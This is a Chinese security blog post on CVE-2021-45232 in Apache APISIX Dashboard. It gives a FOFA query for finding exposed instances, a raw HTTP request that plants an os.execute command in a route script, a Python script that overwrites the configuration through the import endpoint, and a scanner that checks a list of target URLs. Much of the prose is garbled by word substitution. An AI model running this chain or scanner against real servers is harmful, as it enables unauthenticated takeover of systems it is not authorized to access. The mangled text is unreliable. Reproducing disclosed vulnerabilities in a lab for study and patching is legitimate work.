Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232

破绽剖析

1 组件引见

APISIX 是一个高性能、可扩展的微效劳 API 网关,基于 nginx(openresty)和 Lua 完成功用,自创了 Kong 的思绪,将 Kong 底层的关系型数据库(Postgres)交换成了NoSQL 型的 etcd。Apache APISIX Dashboard 设计的目的是让用户经过前端界面尽可能轻松地操作 Apache APISIX。
 

2 破绽描绘

2021年12月28日,Apache APISIX Dashboard 组件存在远程代码执行破绽的信息,破绽编号:CVE-2021-45232,破绽要挟等级:高危。

该破绽是由于 Apache APISIX Dashboard 有些接口直接运用了 gin 框架招致未受权访问进而可招致远程代码执行,攻击者可应用该破绽在未受权的状况下,结构歹意数据执行远程代码执行攻击,最终获取效劳器最高权限。
 


 

影响范围

Apache APISIX  Dashboard 可能受破绽影响的资产普遍散布于世界各地,主要集中在中国、美国,国内运用量较多且危害较大需求进一步停止关注。

目前受影响的 Apache APISIX  Dashboard 版本:

2.7≤ Apache APISIX  Dashboard <2.10.1
 


 

fofa搜索语法为

title="Apache APISIX Dashboard"


 

环境搭建

运用docker搭建环境
https://github.com/apache/apisix-docker

修正docker-compose.yml为2.7即可

图片[1]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区

默许账号密码为admin:admin

图片[2]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区

1、首先添加一个上游

图片[3]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区

2、添加一个路由

图片[4]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区

然后在上游效劳选择,我们新建的上游。

图片[5]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区
 


 

破绽复现

获取/apisix/admin/migrate/export

图片[6]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区

结构一个Payload

图片[7]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区

PUT /apisix/admin/routes/387864323462005443 HTTP/1.1
Host: ip:9000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://106.52.5.116:9000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: -http-session-=1::http.session::e36a9dc03600ce92c8daf29b6a25f5a2
Connection: close
Content-Length: 248

{"uris":["/rce"],"methods":["GET","POST","PUT","DELETE",
"HEAD","OPTIONS","CONNECT","TRACE"],"priority":0,"name":"rce","status":1,"labels":{},"script":"os.execute('touch /tmp/UzJu')",
"upstream_id":"387864007731577539"}

这里有两个中央需求留意,第一就是URL后面routes/后的数字是来自export中的路由ID。

而下面的upstreamid是来自export中的上游ID,假如填错会报找不到upstream_id,然后需求把新的掩盖一下。

图片[8]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区

要用go写一个什么CRC的校验啥的,这里的话其实直接访问export就能够了,会自动下载一个bak文件。

我们需求直接阅读器访问:

http://ip:9000/apisix/admin/migrate/export,随后会下载一个名为apisix-config.bak的文件。

图片[9]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区

然后发送恳求掩盖。

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project :UzJuSecurityTools
@File    :test.py
@Author  :UzJu
@Date    :2021/12/29 12:24 上午
@Email   :UzJuer@163.com
'''
import httpx
import requests

target = "http://ip:9000"
url = target + "/apisix/admin/migrate/import"
files = {'file': open('./apisix-config.bak', 'rb')}
r = httpx.post(url, data={"mode": "overwrite"}, files=files, proxies="http://127.0.0.1:8080")
print(r.status_code)
print(r.content)

Ps: 上面写了proxies是由于想把流量给到burp,更好的看分明恳求。

图片[10]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区

随后在路由的中央查看一下,发现胜利掩盖了。

图片[11]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区

看看burp接纳到的恳求。

图片[12]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区

然后访问ip:9080/UzJu

图片[13]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区

随后进入docker查看。

图片[14]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区
 

POC编写

最开端的POC编写思绪,比拟简单,既然是没做鉴权,那直接恳求export然后判别返回的东西或者返回值是不是200不就能够了,先不思索后续应用。

/apisix/admin/migrate/export

/apisix/admin/migrate/import

 

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project :UzJuSecurityTools
@File    :CVE-2021-45232_POC.py
@Author  :UzJu
@Date    :2021/12/29 12:03 上午
@Email   :UzJuer@163.com
'''

import requests


class Apache_ApiSix_Poc:
    def __init__(self, url):
        self.url = url + "/apisix/admin/migrate/export"

    def checkVuln(self):
        headers = {
            "Connection": "close"
        }
        try:
            result = requests.get(url=self.url,
                                  headers=headers,
                                  verify=False)
            if '{"Consumers":[]' in result.text:
                print(f"[+]CVE-2021-45232: {self.url}存在破绽")
        except:
            pass


if __name__ == '__main__':
    with open('./url.txt', 'r') as f:
        for i in f.read().splitlines():
            main = Apache_ApiSix_Poc(i)
            main.checkVuln()

图片[15]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区

 


 

处理计划

1 如何检测组件系统版本

假如主机中存在该web效劳页面,则代表运用了Apache APISIX Dashboard组件。

图片[16]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区

登录 Apache APISIX Dashboard 平台之后,点击系统信息即可查看版本:

图片[17]-Apache APISIX Dashboard 远程代码执行漏洞CVE-2021-45232-孤勇者社区
 

2 官方修复倡议

当前官方已发布最新版本,倡议受影响的用户及时更新晋级到最新版本。链接如下:
https://github.com/apache/apisix-dashboard
 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞12赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片